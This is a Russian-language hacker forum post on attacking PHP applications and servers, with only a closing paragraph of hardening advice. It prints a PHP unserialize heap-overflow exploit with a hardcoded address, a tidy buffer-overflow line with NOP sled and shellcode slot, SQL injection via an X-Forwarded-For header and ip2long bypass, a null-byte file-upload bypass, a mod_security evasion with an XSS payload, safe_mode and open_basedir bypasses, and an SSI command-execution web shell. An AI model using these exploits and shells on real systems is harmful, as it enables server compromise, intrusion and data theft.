|
Познающий
Регистрация: 12.11.2007
Сообщений: 69
С нами:
9734726
Репутация:
676
|
|
----[ UNDER WHAT? UNDER SERIALIZE !... ]
PHP функция un/serialize используется для помещения данных в строку , представляющую из себя сериализованный массив . Часто
его используют для упрощения структуры хранения Cookie данных юзера . В различных версиях интерпретатора существовало не менее
пяти багов в этой функции - от банального переполнения буфера до получения нужной информации . На основе этой бреши для phpbb2
был написан эксплоит , представляющий из себя очень длинную строку , посылаемую разбитой в несколько частей в заголовке cookie ,
предварительно закодированной в url представлении . Большое колличество вложеных сериализированных массивов может запросто подвесить
php интерпретатор . В последствие это переросло в integer overflow в вызове функции ecalloc . В таком случае памяти выделится куда
больше чем было выделено под операцию обратную сериализации и приведет к исполнению кода после того как переменная будет удалена
из Zend HashTable.
PHP код:
php -> $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"'; unserialize($str);
Эксплоит для linux , где адрес 0x08064058 является свободным для php , эксплоит выглядит так
PHP код:
php -> $hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
unserialize($str);
Полученный результат нужно использовать как аргумент при использовании unserialize.
----[ SPECIAL CHARS ... ]
Использование специальных непечатаемых символов в качестве аргументов , передаваемых функции часто приводит к очень "радостным"
результатам . Например прежде чем поместить ip адрес в базу данных его часто проверяют функцией ip2long , которая в случае если
адрес является неправильно сформированным вернет -1.
PHP код:
php -> ip2long ('123.231.222.111"'); -- -1
Однако немного помучав функцию мы можем увидеть что строка , содержащая в себе символы , чьи коды равны 0,9,10,11,12,13 либо 32 вернет
неотрицательный результат.
PHP код:
php ->
for ($i=0; $i<=255; $i++)
{
echo $i.":".ip2long("1.1.1.1".chr($i)."'or'a'='a'/*")."\r\n";
}
На примере minibb взлом будет выглядеть так
PHP код:
header -> X-FORWARDED-FOR: 1.1.1.1'union select 1
Использование нашего sql запроса является хоть и неудобным - потребуются специальные програмы чтобы отправить заголовок , но в таком
случае мы находимся в выигрыше - magic_quotes_gpc не распространяется на этот тип данных . К сожалению в minibb провести атаку не получится
- на строку выделяется всего 16 символов плюс один символ наш .
Функция из пакета tidy tidy_parse_string как и ее обратная - tidy_repair_string при локальном использовании позволяют переполнить
буфер с последующим выполнением шеллкода . Этот набор функций часто используется в wiki - скриптах.
PHP код:
php -> tidy_parse_string(1,str_repeat("A",2036)."\x8B\x51\x81\x7C".str_repeat("\x90",12).$shellcode,1);
Очень серьезной является ошибка в функциях copy и move_uploaded_file - существуют символы , которые "обрубают" строку - аргумент
до вхождения этого символа . Обычно это null byte , а в некоторых nix системах и слеши .
PHP код:
php -> $filename = trim($fileinfo, "\x00..\x1F");
Напишем скрипт , ничуть не отличающийся от множества , используемых для аплоада файла с проверкой расширения.
PHP код:
<?php
$filename = $_FILES['userfile']['name'];
$allowed = array ('gif','png','jpg');
$tmpname = explode('.',$filename);
$extension = $tmpname[count($tmpname)-1];
$allowed = in_array($extension,$allowed) ? true : false ;
if ($allowed)
{
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
echo 'uploaded!';
}
else
{
echo 'aaah noooo!';
}
?>
<form enctype="multipart/form-data" action="test.php" method="post">
Отправить этот файл: <input name="userfile" type="file" />
<input type="submit" value="Send File" />
</form>
На первый взгляд вполне логично , что файл с именем file.jpg.php не пройдет проверку , однако попробуем вставить null bute в имя файла и
в конечном виде получится чтото вроде my_data.php%00.jpg . Удачная попытка и наш файл залить с именем my_data.php . Такой же баг присутствует
и в функции copy().
Mod_secuirity , часто устанавливаемый вместе с апачем тоже подвержен уязвимостям . Внедря null byte в POST заголовок мы обманем фильтр
и не оставим в логах никаких записей , тк ids посчитает %00 концом строки
p
PHP код:
hp -> curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script>
Для облегчения труда был написан комплекс скриптов для тестирования функций на предмет переполнения буфера в передаваемых аргументах.
Одна часть скрипта получает список всевозможных функций и запускает второй скрипт с аргументом , вызывающий функцию по имени аргумента
и логирующий каждую ошибку.
----[ BASE DIR && SAFE MODE ... ]
Защищенный режим в PHP - это попытка решить проблему безопасности на совместно используемых серверах. Несмотря на то, что концептуально
неверно решать эту проблему на уровне PHP , но поскольку альтернативы уровня веб-сервера или операционной системы на сегодняшний день
отсутствуют, многие пользователи, особенно провайдеры, используют именно защищенный режим. Для управлением safe_mode в файле настроек php
имеется пара директив , определающих поведение безопасного режима.
safe_mode - отключает \ включает защищенный режим
safe_mode_gid - определяет доступ к скрипту по uid вызывающего его юзера
safe_mode_include_dir - разрешает подключение файлов только из определенной директории
safe_mode_exec_dir - разрешает выполнять команды оболочки только в определенной директории
safe_mode_allowed_env_vars - разрешает модификацию переменных , имеющих в названии определенную приставку
safe_mode_protected_env_vars - запрещает модификацию переменных при любом раскладе
open_basedir - ограничивает спискок файлов и директорий на чтения , не влияет состояние режима safe_mode
disable_functions - зарпещает выполнение функций из списка
В случае открытия файла , права на который не совпадает с правами юзера выдастя ошибка
PHP код:
error -> Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd
owned by uid 0 in /docroot/script.php on line 2
Тот же самый эффект мы наблюдаем и с base_dir
PHP код:
error -> Warning: open_basedir restriction in effect. File is in wrong directory in /docroot/script.php on line 2
К сожалению , а может и к счастью safe mode уже научились обходить причем способом куча и редко встретишь сервер где не работает
ни один . Например одним из последних способов обмануть base_dir является принудительное выставление session.save_path в директорию ,
доступную на чтение.
PHP код:
php -> ini_set("session.save_path", "/sessions/user2/");
putenv("TMPDIR=/sessions/user2/");
ini_set("session.save_path", "");
@session_start();
Использование префикса compress.bzip2:// или zip:// не учитываеся в safe mode , что позволяет читать файлы вне разрешенных директорий.
Логично , что действие safe mode распространяется только на php скрипты и мы можем использовать perl , python или SSI (Server Side Includes).
Для того чтобы последний метод заработал , надо выставить в апаче некоторые параметры запуска для файла в .htaccess
PHP код:
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes
И для того чтобы удобнее было использовать напишем своеобразный шелл на javascript
PHP код:
function execute()
{
var cmd = document.exec.cmd.value;
document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
}
Не стоит отказываться от использования safe mode , достаточно следить за обновлениями php и своевремено ставить нужные патчи .
Другим действенным методом является внедрение сторонних разработок , таких как suPHP , разграничивающих использование скриптов в
зависимости от выставленных прав либо поставить phpsafemode.patch , принцип работы которого не особо отличается от предыдущего варинта.
|